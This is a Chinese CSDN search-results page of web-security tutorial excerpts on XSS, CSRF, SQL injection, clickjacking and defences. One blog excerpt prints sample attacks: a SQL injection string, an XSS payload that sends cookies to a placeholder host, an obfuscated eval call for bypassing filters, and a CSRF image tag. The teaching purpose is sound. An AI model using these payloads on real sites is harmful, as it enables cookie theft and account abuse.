精华内容
下载资源
问答
  • 网络安全从零开始(web安全前端基础)
    千次阅读
    2021-01-12 10:52:19

    一、web前端的基本构成

    web前端由html 、css 、js组成。
    

    HTML

    超文本标记语言,是一种用于创建网页的标准标记语言
    

    CSS

    层叠样式表,能对网页中元素位置的排版进行像素级精准控制拥有对网页对象和模型样式编辑的能力
    

    JS

    浏览器可以执行的脚本语言,功能非常强大
    

    在web前端中三个组成部分分别对网页进行修饰

    HTML :是前端页面的骨架
    CSS:是前端页面的化妆师
    JS:丰富网页功能的脚本
    

    二、HTML基础

    HTML框架中标签大多数是成对出现的,只有极少部分是单独出现的,
    在前端的书写中,它并不会像后端代码一样将错误抛出。
    <html>           #开始标签
    <head>         #头部标签
    <meta charset=”utf-8”>       #规定编码方式
    <title>         #title显示什么
    <p>            #段落标签
    <h1>         #标题标签
    标签具有属性值
    	<h1 id='zk'>		#给标签加名字,方便JS与CSS操作
    	<img src="https://www.baidu.com/a.jpg" />	#加载图片让页面更加丰富
    	注:网页端可以在设置里面禁用JS,能够发现一些未授权访问的漏洞
    		JS非常的强大,应用的也非常广泛,但是实现功能可能需要很好的代码功底
    

    三、总结

    学习网络安全只需要能够看得懂代码就好,并不需要去详细了解它的结构,
    前期看不懂不会用也没有关系,已经有前辈的大佬做出了一些对应的脚本,
    我们前期只需要能够套用脚本就好了。但是学习是自己的事情,我们不能
    只做一个会套用脚本的小白。	
    
    更多相关内容
  • 阿里巴巴最具价值的安全专家吴翰清的《白帽子讲Web安全》 以思维导图模式概况了本书的最主要内容,值得学习。
  • web前端安全参考书,深入剖析了web前端安全的方方面面,是安全从业者不容错过的好书。
  • Web前端技术揭秘.pdf

    2018-10-24 19:55:26
    Web前端技术揭秘.pdf 钟晨鸣(余弦)著 适合CTF-Web入门学习 Web攻防技术
  • web前端学习资料集合.txt
  • Web前端黑客技术揭秘

    2019-03-22 11:34:32
    Web前端的黑客攻防技术是一门非常新颖且有趣的黑客技术,主要包含Web前端安全的跨站脚本(XSS)、跨站请求伪造(CSRF)、界面操作劫持这三大类,涉及的知识点涵盖信任与信任关系、Cookie安全、Flash安全、DOM渲染、...
  • 浅谈web前端安全

    千次阅读 2017-11-30 18:06:17
    单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服...如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果

            单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服——没人看得到,自然也不算啥恶意行为。那么如果我把你的信息通过脚本发送到我的服务器保存起来呢?先放心,我不打算这么做,也没那笔闲钱去购置一个服务器来做羞羞的事情,也不希望把我这地盘给封掉了。

    如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果感兴趣,看一看也无妨。

    先不说上面的“通过脚本把信息发送给服务器”是什么情况,我们先来聊一聊WEB基本攻击有哪些。

    WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。

    资源枚举

    有时候受前人(技术前辈也好,你所接任的上一位员工也好)的影响,我们可能会约定成俗地去做某件事情,比如用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释,这样会让你的团队工作更加规范。然后有一天要给项目做备份了,就直接把该项目压缩为rar文件,命名为什么呢?首选的自然是“bak.rar”,你看数据库的备份的形式不也是.bak嘛。

    于是乎,如果压缩包所在的地址是可访问的,那么所有人都可以轻松地下载到这个"bak.rar"文件,你的项目也不存在什么小秘密了(即使夏天夏天悄悄地过去)。

    这就是“资源枚举”,别有用心的人会遍历你站点所有可访问的目录,然后把一些常见的备胎文件名(比如“sql.bak”、“index-副本.html”)一个个都枚举一下,如果运气好枚举到了就直接下载。

    于是跟随主流在这里不是好的事情,对于重要的东西,要么放在外人不可访问的地方,要么应当给它起一个不那么好猜的名字。

    资源枚举也不仅仅局限于瞎找东西,聪明的人会利用线索来更好地猜东西。

    假设有一个站点走的伪静态的高冷路线,不想让别人知道它所使用的语言和数据库,但没有配置好后端错误信息的提示。那么“别有用心”的朋友就可以在这个站点里的某个搜索结果页面篡改url参数,导致数据库查询错误而返回数据库错误信息页面,或者输入一个根本不存在的子页面地址来获取错误信息,进而可判断该站点到底用的是什么数据库或动态语言。

    参数操纵

    这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。

    SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。

    比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:

    book.com/book?id=100

    说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:

    select * from booktable where id='100'

    那么如果我们把url更改为

    book.com/book?id=100'or'1'='1

    那么数据库操作执行就变成了:

    select * from booktable where id='100'or'1'='1'

    从而取出了整个booktable 表单的全部数据。

     

    XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体可看这里

    cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以看下这里

    对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。

    XSS(cross-site scripting跨域脚本攻击)攻击也是最常见的WEB攻击之一,其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。

    假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:

    您搜索的书籍“有钱任性指南”不存在

    好的,那我们输入这个怎样:

    <script>alert('没有书开个毛线书店啊')</script>

    假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。

    但是这样不好玩,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:

    <script>document.location='http://vajoy/get?cookie='+document.cookie</script>

    不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!

    小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:

    book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

    这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。

    与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我现在工作的项目做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,从而植入悬浮广告(当然你可以关闭它),这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

    还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是通过贴吧啊等地方来发表带有恶意跨域脚本的帖子或文章,从而把恶意脚本存储在里面,每个访问该帖子/文章的人就会中招。

    还记得一开始加载本文章的alert弹窗么?假设对文章进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉,那我们怎么办?我们可以这样:

    <script type="text/javascript">
    var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("欢迎收看本文章")';
    y[x]['call'](this,e);
    </script>

    照样实现我们想要的弹窗无误。

    对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!

    会话劫持

    百度百科有个很有意思的引喻——“在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?”

    这个比喻很有意思,我们常规访问一个http网站时是与其服务器建立了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上,其中有人想伪装成你来劫持你的HTTP会话,那么服务器会把菜,哦不,是信息返回给那个人吗?

    答案是肯定的,因为HTTP会话并不安全。它在经过TCP/IP协议封装传输数据时,在传输的数据的每一个字节中插入一个32位的序列号码,这个序列号用来保持跟踪数据和提供可靠性(序列号是依循数据顺序逐步递增的)。第三方攻击者可以通过嗅探的方式来获取用户与服务器通讯中的报文信息,如果他能猜测到数据中的序列号,那便能把合法的用户断开,伪装成合法用户让自己控制后续的通话。

    对于会话劫持的预防,可以走SSH协议、增强网络安全系统健壮性,也可以使用无序的UUID来替代通讯中的序列号码(而非逐步递增)。

    其它攻击

    其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。

    CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。

    依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。

    那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:

    <img src='http://book.com/pay?bookid=100'/>

    img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。

    相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。

    对于CSRF攻击,我们所能做的可以有:

    1. 检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);

    2. 对于任何重要的请求都需要重新验证用户的身份;

    3. 创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。

    钓鱼攻击指的是网站的伪造,比如ta0bao.com,然后在其中应用XSS等方式发起攻击。

    拒绝服务(DoS)指的是向网站发起洪水一样的请求(Traffic Floor),导致服务器超负荷并关闭,处理方法常规是采用QoS(Quality of Service)的软硬件解决方案。

    攻击层面

    攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:

    一. 传统WEB应用程序

    1. 表单输入(甚至包括hidden控件的内容);

    2. cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);

    3. 报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)

    4. 请求参数

    5. 上传文件(在文件内携带恶意代码)

    二. Web服务

    1. 上述“传统WEB服务”的全部方法;

    2. WSDL文档(暴露了服务端的每个方法及其使用方式)

    三. AJAX应用程序

    即上述的“一”和“二”的合集

    解决方案

    综上所述,我们可以这样审视我们的WEB站点:

    1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;

    2. 谨慎返回用户输入的信息;

    3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);

    4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;

    5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);

    6. 不要将重要文件、备份文件存放在公众可访问到的地方;

    7. 会话ID无序化;

    8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);

    9. WSDL文档应当要求用户注册后才能获取;

    10. 在报头定义CSP(Content Security Policy);

    11. 。。。

    虽然我们有一些必要的手段来防止WEB攻击,但永远不会有一枚silver bullet来彻底解决问题,先不谈那些数不胜数的已知的、可被攻击的漏洞,对于谜一样的0-day漏洞,我们所能做的只是提前发现并及时修补它们。

    今天要唠嗑的就是这些,写着写着不知不觉就午夜了。共勉~

    展开全文
  • 前端常见的安全问题

    千次阅读 2022-03-07 15:00:41
    因此不会再去推断内容类型 五、本地存储数据泄露 产生原因:现在很多数据,包括一些敏感信息都存储在前端,如果发生xss等漏洞,这些信息就好被获取 防御:加密,不要存储在前端本地 六、不安全的第三方依赖包 第三方...

    一、XSS (Cross-Site Scripting)跨站脚本攻击

    通常指通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,获取用户信息、控制用户浏览器等的一种攻击

    分类:持久性(存储型xss)

    指攻击者通过漏洞将恶意内容写在数据库中,然后当其他用户访问含有这些恶意数据的网页时,就遭受了攻击。攻击位置常常在留言板,阅读列表等。

    非持久性( 反射型xss)

    把用户输入的数据或者url携带的数据“反射”给浏览器,往往是黑客通过诱使用户点击一个恶意链接从而达到攻击目的

    非持久性( Dom型xss)

    客户端脚本使用来自用户请求的恶意内容将HTML写入自己的页面 基于DOM的XSS是基于反射XSS的另一种形式。 DOM和'传统'反射XSS之间的区别在于有没有和服务器进行交互。

    二、CSRF (Cross-site request forgery) 跨站请求伪造

    本质:攻击者利用用户身份操作用户账户的一种攻击方式

    原理:

    参考上图,完成一次CSRF攻击,必须满足两个条件:

    1、用户登录受信任网站A,并且在本地生成Cookie

    2、用户在不退出网站A的情况下,访问危险网站B

    示例:

    1、银行网站A,它以GET请求来完成银行转账的操作,如:    http://www.mybank.com/Transfer.php?toBankId=123&money=1000

    2、危险网站B,它里面有一段HTML的代码如下:<img src=http://www.mybank.com/Transfer.php?toBankId=123&money=1000>

    3、你登录了银行网站A,然后访问危险网站B,你会发现你的银行账户少了1000块

    三、点击劫持(clickJacking)

    点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

    常见方式:flash劫持,图片覆盖攻击,拖拽劫持,触屏劫持

    劫持防御:

    1、frame busting :通过js来禁止iframe嵌套,缺点:容易被绕过

    2、使用 X-Frame-Options   HTTP 头部 ,有三个值:      

    DENY :浏览器拒绝当前页加载任何frame页面      

    SAMEORIGIN:只允许加载同源域名下的页面      

    ALLOW-FROM:可定义允许frame加载的页面地址

    iframe问题所在:

    如果iframe中的域名因为过期而被恶意攻击者抢注,或者第三方被黑客攻破,iframe中的内容被替换掉了,从而利用用户浏览器中的安全漏洞下载安装木马、恶意勒索软件等等

    防御:       

    添加 sanbox属性,最小权限原则 <iframe sandbox src="..."> ... </iframe>

    sandbox 提供配置参数

    1、allow-forms:允许iframe中提交form表单

    2、allow-popups:允许iframe中弹出新的窗口或者标签页(例如,window.open(),   showModalDialog(),target=”_blank”等等)

    3、allow-scripts:允许iframe中执行JavaScript

    4、allow-same-origin:允许iframe中的网页开启同源策略

    四、错误内容推断

    产生原因:        

    假设通过http请求一个资源,后端通过Content-Type Header建议浏览器按照图片来渲染这次的HTTP响应,但是浏览器过于“智能”,强大的容错能力,发现响应中内容其实是JavaScript,于是就擅自做主把这段响应当做JS脚本来解释执行,安全问题也就产生了。

    防御:

    通过设置X-Content-Type-Options这个HTTP Header明确禁止浏览器去推断响应类型, 后端服务器返回的Content-Type建议浏览器按照图片进行内容渲染,浏览器发现有X-Content-Type-OptionsHTTP Header的存在,并且其参数值是nosniff,因此不会再去推断内容类型

    五、本地存储数据泄露

    产生原因:现在很多数据,包括一些敏感信息都存储在前端,如果发生xss等漏洞,这些信息就好被获取

    防御:加密,不要存储在前端本地

    六、不安全的第三方依赖包

    第三方组件、依赖类库等存在安全漏洞 例如:jQuery就存在多个已知安全漏洞,例如jQuery issue 2432,使得应用存在被XSS攻击的可能。而Node.js也有一些已知的安全漏洞,比如CVE-2017-11499,可能导致前端应用受到DoS攻击。 防御:NSP(Node Security Platform),Snyk 工具扫描

    七、缺失静态资源完整性校验

    产生原因:静态资源存放到CDN,如果CDN被劫持了或者CDN中的资源被污染,那我们的前端应用拿到的就是有问题的JS脚本或者Stylesheet文件。

    防御:用浏览器提供的SRI(Subresource Integrity)   <script src=“https://example.js” integrity=“sha384-eivAQsRgJIi2KsTdSnfoEGIRTo25NCAqjNJNZalV63WKX3Y51adIzLT4So1pk5tX”></script>

    八、防范措施

    1、谨慎用户输入信息,进行输入检查(客户端和服务端同时检查)

    2、在变量输出到HTML页面时,都应该进行编码或转义来预防XSS攻击

    3、该用验证码的时候一定要添上

    4、尽量在重要请求上添加Token参数,注意Token要足够随机,用足够安全的随机数生成算法

    5、当有<frame><iframe><object>时,合理设置X-Frame-Options HTTP响应头,添加sanbox属性等

    6、检查验证请求来源,对每一个重要的操作都进行重新验证

    7、不要将重要文件、备份文件存放在公众可以访问到的地方

    8、安全防御的体系是相辅相成、缺一不可的

    展开全文
  • 前端安全面试题

    千次阅读 2022-03-11 16:59:16
    什么是XSS Cross-Site Scripting(跨站脚本攻击),简称XSS...利用这些恶意脚本,攻击者可以获取用户的敏感信息,如Cookie,SessionID等,进而危害数据安全。为了和CSS区分,这里把代码的第一个字母改为X,于是叫做XSS ...

    什么是XSS

    Cross-Site Scripting(跨站脚本攻击),简称XSS,是一种代码注入攻击。攻击者通过目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可以获取用户的敏感信息,如Cookie,SessionID等,进而危害数据安全。为了和CSS区分,这里把代码的第一个字母改为X,于是叫做XSS

    XSS的本质

    恶意代码未经过滤,与网站正常的代码混在一起,浏览器无法分辨那些脚本是可信的,导致恶意脚本被执行。

    而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义请求

    在部分情况下,由于输入的限制,注入的恶意脚本比较短,但可以通过引入外部的脚本,并有浏览器执行,来完成比较复杂的攻击策略

    XSS分为哪几类

    类型存储区插入区
    存储型后端数据库HTML
    反射区URLHTML
    DOM型后端数据库/前端存储/URL前端javascript

    存储区:恶意代码存放的位置,
    插入点:由谁取的恶意代码,并插入到网页上

    存储型XSS

    攻击步骤
    1.攻击者将恶意代码提交到目标网站的数据库中
    2.用户打开目标网站时,网站服务端将恶意代码从数据库中取出,拼接在HTML中返回给浏览器。
    3.用户浏览器接收到相应后解析执行,混在其中的恶意代码也被执行
    4.恶意代码窃取用户数据并发送攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    场景:
    用户保存数据的网站功能,如论坛发帖,商品评论,用户私信

    反射型XSS

    攻击步骤
    1.攻击者构造出特殊的URL,其中包含恶意代码
    2.用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器。
    3.用户浏览器接收到相应后解析执行,混在其中恶意代码也被执行
    4.恶意代码窃取yoghurt的数据并发送黑攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作

    存储型和反射型XSS的区别
    存储型的XSS恶意代码是存储在数据库里面的,反射型XSS恶意代码是存储在URL中

    场景:反射型XSS漏洞常见于通过URL传递参数的功能,例如:网站搜索,页面跳转等

    DOM型XSS

    攻击步骤
    1.攻击者构造特殊的URL,其中包含恶意代码
    2.用户打开带有恶意的代码URL
    3.用户浏览器接收到相应后解析执行,前端javscript取出URL中恶意代码并执行
    4恶意代码窃取用户数据并发送给攻击者网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定操作

    解决方案

    输入过滤,纯前端渲染,转义HTML

    CSRF

    什么是CSRF

    CSRF是跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经注册的凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某种操作

    一个经典的CRSF攻击有如下流程:
    1.受害者登录a.com,并保留了登录的凭证(cookie)
    2.攻击者引导受害者访问b.com
    3.b.com向a.com发送一个请求:a.com/act=xx浏览器会默认携带a.com的cookie
    4.a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,并误以为是受害者自己发送的请求
    5.a.com以受害者的名义执行了act=xx
    6.攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行自己定义的操作

    CRSF的特点

    1.攻击者一般发起在第三方网站,而不是被攻击的网站,被攻击的网站无法防止攻击发生
    2.攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作,而不是直接窃取数据
    3.整个过程攻击者并不能获取受害者的登录凭证,仅仅是冒用
    4.跨站请求可以是各种方式:图片URL,超链接,CORS,FROM提交等,部分请求方式可以直接嵌入在第三方论坛文章中,难以进行追踪。

    CRSF通常是跨域的,因为外域更容易被攻击者掌握

    CRSF的攻击者类型

    Get类型的CSRF

    Get类型的CSRF利用非常简单,只需要一个HTTP请求Get类型我们刻意在图片里面隐藏一个链接进行攻击)

    Post类型CSRF

    这种攻击通常是使用一个自动提交表单,访问该页面后,表单会自动提交,相当于模拟用户完成了一次Post请求,Post类型攻击要比Get要求严格一点,但是并不复杂,任何个人网站,博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在允许POST上面

    链接类型的CSRF

    这种方式并不是很常见,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布图片中嵌入恶意链接,或者以广告的形式诱导用户中招。

    如何预防CSRF

    csrf通常是由第三方网站发起的,被攻击的网站无法防止攻击的发生,只能增强自己网站针对CSRF的防护能力提高安全性。

    CSRF的两个特点:
    CSFR发生在第三方域名
    CSRF攻击者不能获取cookie等信息,只是使用

    针对这两点,方法如下:
    1.阻止不明外域的访问
    (同源检测,samesite cookie)

    2.提交时要附加本域才能获取的信息
    (CSRF Token,双重cookie验证)

    同源检测:

    CSRF大多来自第三方网站,那么我们直接禁止外域对我们的请求

    在HTTP协议中。每一个异步请求都会携带两个header,用于标记来源域名,origin header和Referer Header,这两个Header在浏览器发起请求时,大多数情况都会自动带上,并且不能由前端自定义内容,服务器可以通过解析这两个header中的域名确定请求来源方式。

    CSRF Token

    CSFR是攻击者无法窃取用户的信息(cookie,header,网站内容),是冒用cookie中的信息。

    CSRF攻击之所以能够成功,是因为服务器把攻击者发送请求当成用户自己的请求,我们可以要求所有用户请求都要携带一个CSRF攻击者无法获取到的Token.服务器通过效验请求是否携带正确的Token,来把正确的请求和攻击请求区分。

    展开全文
  • web网络安全防护方案

    千次阅读 2022-02-07 10:42:45
    这里就跟大家聊聊web网络安全防护方案。 Web网络安全分为两大类:  · Web服务器的安全性(Web服务器本身安全和软件配置)。  · Web应用程序的安全性(在Web服务器上运行的Java、 ActiveX、PHP、ASP代码的安全)。...
  • 最新Web前端面试题精选大全及答案

    万次阅读 多人点赞 2021-01-07 11:53:44
    1.网络中使用最多的图片格式有哪些 JPEG,GIF,PNG,最流行的是jpeg格式,可以把文件压缩到最小 在ps以jpeg格式存储时,提供11级压缩级别 2.请简述css盒子模型 一个css盒子从外到内可以分成四个部分:margin(外边...
  • 前端网络安全防范详解

    千次阅读 2019-01-22 20:35:27
    XSS(Cross Site Scripting)攻击全称跨站脚本攻击是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到...
  • web前端基础——过渡效果

    千次阅读 2022-03-02 16:32:50
    作用:让元素的样式慢慢的变化,常配合hover使用,增强网页交互的内容 属性名:transition 常见取值: 参数 取值 ...all:所有能过渡的属性都过渡,比如填width,则只有width能过渡 ...transition属性设置在不同状态...
  • web安全是我们面试中经常遇到的问题,而在实际项目开发中,尤其一些大型项目,web安全显得尤为重要。那么本文阿彬就给大家大概总结一下常见的一些web安全问题以及防御手段。 1.xss XSS(Cross Site Scripting)跨站...
  • web网络安全

    千次阅读 2021-03-31 11:23:01
    web网络安全,主要由三个方面来保障: 同源策略 预防xss攻击 预防csrf攻击 接下来我们一个一个详细讲解。 同源策略 同源策略,作为一个前端工程师,应该是必备知识。大多数人接触到同源策略都是在和后端交互...
  • web前端面试题(全)

    万次阅读 多人点赞 2019-04-17 11:23:57
    近来看到网上格式各样的web前端求职的面试题,接下来我用我的经验总结了一套在面试过程中高频率问到的面试题,希望能帮助各位求职者在求职的过程中顺利通过,废话不多说,直接说题。。。 一、HTML5部分 1.说一下对...
  • 一个Web前端实习生的简历

    千次阅读 2021-09-16 00:35:40
    其他技能* 安全: 了解Web安全的基本攻防策略, 熟悉科学上网的各种方法; 数据库: 熟悉MySQL的设计模式, 关系型数据库的常见优化方案; 虚拟化: 熟悉vSphere的使用, 了解OpenStack技术以及云计算的基本思想; 高级语言:...
  • 前端安全- 常见的网络攻击

    千次阅读 2021-12-06 15:31:23
    1. xss 攻击 1.1 反射性攻击 url参数直接注入(地址栏运行脚本) 1.2 影响: 利用虚假输入表单骗取用户个人信息 利用脚本窃取用户的cookie值,被害者在不知情的情况下,帮助攻击者发送恶意...csp内容安全策略 ...
  • Web前端——跨域问题

    千次阅读 多人点赞 2022-01-22 21:05:03
    但是在 web 端,浏览器里,这么做的就不合适. 如果网络上的接口可以不受限制的被任意人调用. 那将是一个非常混乱的场景。 所以,为了防止这种情况,浏览器做了这个同源策略来防止这种情况发生. 对,一般服务器不管这个...
  • 2020 web前端面试题及答案大全

    万次阅读 多人点赞 2020-05-12 13:43:50
    css相关 1. 万能居中 1.margin: 0 auto;水平 2.text-align: center;水平 3.行高,垂直 4.表格,center,middle;...5.display:table-cell;...7.绝对定位,上下左右全0,margin:auto ...9.IE6,IE7:给父元素设一个font-size...
  • 网络安全】某安全网关前端JS分析

    千次阅读 2022-01-25 14:21:35
    xxx是一款用于前端防御自动化工具的安全网关,核心代码由服务器下发给客户端执行,通过cookie将执行结果带回,再根据js获取的前端数据判断用户是否异常,完成安全检测
  • 一、Web页面安全 同源和跨域: 同源: 页面中最基础、最核心的安全策略:同源策略...同源策略主要表现在 DOM、Web 数据和网络这三个层面。 第一个,DOM 层面。同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM
  • Web前端-JS基础

    万次阅读 多人点赞 2021-06-15 10:33:15
    Web前端-JSJS的历史和特点简介JS诞生的背景JS的历史JS的特点JS的语法基础第一个JS例子JavaScript 语法JavaScript 输出基本语句JavaScript 数据类型的转换javaScript方法javaScript函数js中的函数定义匿名函数定义JS...
  • WEB安全性测试

    2018-03-13 14:40:16
    Web 是指一个网站的前端页面到后端服务,比如我们常见的 Javascript、PHP、Python、Mysql、jQuery、Docker 等,包括开发、运维这些服务。...所以 Web 安全也就是从安全的角度探索 Web 的一种方式。
  • 彻底掌握基于HTTP网络层的 “前端性能优化” 产品性能优化方案 HTTP网络层优化 代码编译层优化 webpack 代码运行层优化 html/css javascript vue react 安全优化xss + csrf 数据埋点及性能监控 … 从输入URL地址...
  • 新冠肺炎疫情这么严重,大家是在家办公呢?...闲暇之际:总结一下网络安全知识,共享下吧,如有不到位的,小窗口欢迎???????????? 首先说一下他的重要性 随着互联网的发达,各种WEB应用也变得越...
  • 前端面试(二)前端安全

    千次阅读 2018-06-04 23:48:20
    前端安全XSSxss: 跨站脚本攻击(Cross Site Scripting)是最常见和基本的攻击 WEB 网站方法,攻击者通过注入非法的 html 标签或者 javascript 代码,从而当用户浏览该网页时,控制用户浏览器。xss 主要分为三类:1、...
  • 本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一、SQL注入的基础 1.1 介绍SQL注入 SQL注入就是指Web应用程序对用户...
  • RSA加密:Web前端登录账户密码加密传输

    万次阅读 多人点赞 2022-02-09 14:20:59
    一般在做系统时候对安全性要求比较高,现在通常选择https协议来...编写加解密公共方法类--公钥方法--前端在向后台发起登录请求之前,先请求后台获取公钥的方法,然后经过加密之后再发起登录请求--前端代码需引入jse...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 97,969
精华内容 39,187
关键字:

web前端转网络安全